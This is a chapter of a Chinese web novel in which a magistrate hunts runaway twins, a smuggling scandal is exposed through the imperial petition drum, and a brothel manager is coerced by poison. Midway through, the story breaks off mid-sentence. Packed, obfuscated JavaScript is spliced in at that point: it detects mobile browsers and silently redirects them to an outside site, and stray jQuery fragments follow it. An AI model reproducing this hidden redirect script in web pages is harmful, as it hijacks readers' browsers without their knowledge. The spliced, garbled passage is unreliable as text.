默认冷灰
24号文字
方正启体

35. 大案

作者:此人萌物控本书字数:K更新时间:
    天光熹微,院外枝头上的鸟雀叽喳,由疏到密,此起彼伏,衬得县衙后堂书房里的氛围愈发凝重。


    “你的意思是,他俩凭空长了翅膀,能从楼里飞走?”


    徐闻远指腹轻轻摩挲着桌上的青瓷盏,一下接一下,不紧又不慢。


    两人姿容绝艳,又通晓音律,还有双生的吉兆,正待明年献于贵人。树已种成,只待秋来果熟,如今却被人提前摘了去。


    吴平的腿软了半边,感受着面前这道目光像薄霜一般从自己头顶上慢慢罩下来。他想点头应是,但想到要真这样做了,那盏茶恐怕要砸在自己身上。


    “你仔细回想一下,演奏时可有异常?”


    徐闻远再次开口,声音温和,像是邻人之间打招呼,问候着今日的天气。


    “当时,姐姐在台侧弹琵琶,弟弟在台中央应节而舞……”


    随着琵琶的第一个音拨出,少年衣袖翻飞,抬起手臂,翻腕指向空中,像欲要飞向天边的鸟。


    琵琶声逐渐细密,像春夜里的一场酥雨,忽而加入一道低沉的笛音,像闯入雨中的乌鸦,发出低鸣。琵琶弦上一顿复一挑,音高了半度,清脆如碎玉,似在回应。


    掌声不绝中,旋转绕曳的舞蹈在两道声音的交织下结束。台下吹笛人隐入人群中,再难寻见。


    “笛音?”


    吴平眼里闪过一丝茫然,这笛声起得突然,去得悄然,他还当是有才情的客人在配合演奏。他额间渗出一片细密的汗珠,楼里人多话杂,他哪里知晓吹笛人是谁。


    他忘了自己是怎么走出县衙,又是怎么在街上偶遇故交,随着对方一同来到酒楼的。


    “吴兄,你怎么一副失魂落魄的模样?”


    黄顺拈起酒壶给自己倒了一杯,难得遇上老朋友,还是对方付钱,他少不得好好吃喝一番。


    羊肉切成薄薄一片,红白相间,往滚汤里一涮,三两息即熟。蘸料已调好,芝麻酱打底,添一把儿韭菜花,点上香醋。涮好的羊肉片往碗里一滚,裹满蘸料,送进嘴里,那叫一个香嫩!


    就着羊肉,再呷一口黄酒,温醇的酒气从胃里暖到四肢,能把整个人都暖透。筷子不停,酒也不停,直吃得铜锅里的汤加了三四回,他才撂下筷子,满足地长吁出一口气。


    壶是好壶,酒是美酒,色若琥珀,漾着一圈圈碎光,酒香不冲不烈,丝丝缕缕地往鼻子里钻,咽下去了再慢慢泛上来,让人忍不住咂咂嘴,再喝上一口。


    只是喝的人若被心事束缚,便如同牛嚼牡丹,再好的酒水也尝不出滋味来。


    “吹笛人?”


    黄顺眼珠一转,脑袋一拍,猛地回想起那日仙来居前,他可是暗中瞧见自家妹妹扶起了那个串堂,如今仔细一想,那人手里攥着的不正是笛子么?


    他没想过会在仙来居瞧见黄溪,出于好奇,暗自跟在几人身后,远远地瞧见他们进屋。


    一想到不识抬举,拒绝他相邀的黄溪凭着自己的努力在桐县安定下来,他就像有一百只蚂蚁在心口窝乱爬,直教他三番五次偷摸来到附近窥探。


    “你前段时日经常看到那个串堂在食铺里打下手,今早却没瞧见他的身影?”


    姐弟俩是昨夜出逃的,黄顺口中的这个串堂既会吹笛,昨日还在,今早却已离去,世上怎会有如此巧合的事?


    吴平顿时一喜,拍了拍对方的肩膀,喜不自胜道:“黄兄,你可真是帮了我一个大忙啊!”


    这下,他能嗅到醇厚的酒香,也能尝出酒水的滋味了。


    消息顺着吴平的嘴里传进徐闻远的耳中,后者微微一笑,心里盘算起来:如今她凭着厨技正得宁王青睐,暂时动不得。但宁王不会一直待在桐县,彼时宁王离去,正是清算他们的时候。


    他端起茶,悠悠抿了一口,抬首往外望去时,只觉此时的风已经不再带着秋日的青草香,而是带着河水的清冷气,钻进领口里、袖子里,叫人忍不住缩一缩脖子。


    等空中的寒气完全渗进风中时,秋日过去,冬日已至。从上京传来的一道消息,如平地起惊雷,给步入年关的桐县炸得不安宁。


    一个多月前,上京午门外的登闻鼓被敲响,鼓声沉闷不绝,穿透重重宫墙,传到朝堂之上。


    所谓登闻鼓,即设置在朝堂外,供百姓击鼓鸣冤的一面大鼓。在冤屈无处可告或地方官官相护的情况下,这面鼓是百姓最后的希望。


    “民女,漕运故商之女,状告江淮发运使江峻,走私盐铁,杀人灭口,害我父母。”


    游若英一字一句,声音沙哑却坚定。


    那夜漫天吞噬的火光一次次地出现在噩梦中,河上船毁人亡,官府以“漕船不慎起火,盐商罹难”快速结案。


    她摇着头,用尽力气将登闻鼓敲得更响,脸上不自觉流下两行清泪。


    她和弟弟随着父母外出贩运,这是姐弟二人头次出远门见世面,一路上兴致盎然。船靠岸那日,天已经黑下来,下船透完气的她带着弟弟往回走。


    穿过那片芦苇丛的时候,她站住了。船已经差不多被裹在一团火之中,火光冲天,烧得夜里的河面也是亮的,烟飞桅断,砸进水里,溅起一片火星水花。


    数个黑影在船板上走动,她的心猛地缩紧,一把拉住弟弟蹲下来,悄悄拨开芦苇看去。


    黑影们腰配刀剑,刀剑尖闪着寒光,他们从船舱里陆续拖出东西,看起来并不轻松。毕竟死人是僵硬的,不会配合着活人动作,搬运起来便给人一种沉得出奇的感觉,哪怕对于手脚轻快的杀手亦然。


    她紧盯着船,往日她总爱寻找爹娘的身影,可这一刻,她希望找不到这两道身影。


    她还是找到了,那两个会给她买银镯、给弟弟买糕饼的熟悉身影已经脸色灰败,失了全部生机。


    夜风吹得芦苇沙沙作响,不远处有夜鸟重重啼叫一声,她蓦然一惊,浑身发抖着,却没有放开捂着弟弟眼睛的双手。


    黑影们跳到岸上来,抬步离去,他们的声音断断续续飘过来:


    “干净了?”


    “干净了。”


    “那批货呢?”


    “在底下,明天有人来接。”


    ……


    脚步声已经很远了,她放开双手,向胸口摸去,里面是一个薄薄的油纸包,包着一本账本,是爹在下船时塞给她的。


    她鼻头一热,两行泪静静淌过脸颊,爹娘是不是早就预感此行不妙?才催促着他俩下船透气。


    她拉着抽噎的弟弟一同站起来,方才在火光的映照下,黑影腰间亮了一下,不是刀剑的寒光,是块巴掌大小的铜腰牌,刻画着猛禽图案,挥翅舞爪,另刻了一个字——“江”。


    第一次去县衙,知县压案;第二次去州府,知府推脱。她哪肯死心?县衙不行,州府不行,那就去提刑司。可美貌失了庇护,犹如稚子怀金,两人遭人骗卖,流落至桃源乡。


    登闻鼓响,直达天听,值守官员奏闻请旨,皇帝亲批彻查。


    官盐价贵,私盐便宜,市场需求庞大,只要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371456|199925||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    差价在、利润高,就有人愿意铤而走险;铁作为战略物资,盔甲、刀枪,既是造兵器的原料,农具、锅釜,又是百姓的刚需,有市无货,利润更高。


    漕船回空作为天然运力,船底夹层隐蔽,本来用于压舱,如今用来藏私,尺寸正好;发运使掌六路财赋,总漕运之权,有制置茶盐之职,沿途闸官和税吏拿了好处,走私船过境如入无人之境。


    暴利。


    便利。


    漕船夹带早已成为心照不宣的规矩,只有意外发现秘密的游氏夫妻成了河底的亡魂。


    游若英提供的账本,张思贤呈上的盐场铁监账目抄件、数份漕船文卷、水手证词以及游氏夫妻的死因检验,都使得这场彻查短短一个月内便尘埃落定。


    发运使、参与谋划的幕僚、负责押运的亲信打手、私售的盐场场官、渎职的沿途闸官、接应的地方盐商、压案推脱的州县官员……


    从源头,到运输,再到下游,像拔出萝卜带出泥,抓一个,审一串,牵连甚广,多达上百人。天子震怒,轻者抄家流放,重者斩立决,一时间上京城内刀落血洒,人头遍地滚。


    *


    吴平蹲在床前,撬开面前的一块地板,掏出底下的木匣。匣子里整整齐齐码着十来张银票、一包金锞子,另加一把碎银。


    桃源乡此时难得安静下来,胭脂红袖、琵琶笙歌、金盏罗帕,通通不复。


    他手脚麻利地将一张张银票塞进鞋底,再把金锞子和碎银包好,都藏在包袱夹层。


    快点,快点,再快点,他内心不断催促着,徐知县已经倒台入狱,失其庇护的桃源乡即将被彻查,再也热闹不起来。


    青楼经营虽是贱业,但合法,若有卖身契,则属于正常交易。想到这,吴平抚着额头,问题是桃源乡逼良为娼,楼内不少人是被强行掳来或骗来的。


    这还不算,大嘉明令禁止开设赌坊,而桃源乡常年设赌,抽头、放贷、打人,全占了。两罪并犯,依律从重,到时候楼得查封,财产悉数充公。


    他虽非这座楼的真正主人,但所作所为也难逃一劫,他呸了一声,谁不跑,谁是傻子!


    吴平站起来,踩了踩,鞋底的银票不硌脚,也看不出来。


    叫上阿业,赶紧逃罢。他背着收拾好的细软抬脚往外走,推开门,却被截在原处,面前是一张平静的脸。


    “你要我把罪名全都揽下?”


    吴平嘴唇有些发白,他看着面前的人,喃喃重复着,明明对方才是这座楼真正的主人。


    “对,从现在开始,你就是桃源乡从始至终的主人。”


    他哪里肯,下意识想要张口回绝,却被对方接下来的几句话钉在原处。


    “我送你的那罐茶叶,喝得惯么?”


    见他点头,那人浅浅地笑了一下,道:“那就好,里头掺了毒,”他满面倦容,继续道,“昔日你能为了利益背叛旧主李家,今日也能背叛我,我怎能不提前做些准备呢?”


    “现在看来,我手上的解药也用不上了。”


    “只要你揽下所有罪名,你那侄子,不,你那儿子就可以衣食无忧地过完下半生,我会妥善安顾好他的。”


    手中的包袱“啪”一声滑落,吴平无声瘫在地上,许久过后,他点了点头,只有阿业可以好好地活着就好。


    他与长嫂相恋,有违人伦,死后要如何面对泉下的兄长?


    他想听孩子喊自己一声“父亲”,而非“叔父”,可又心怯,连真相都不敢告知。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)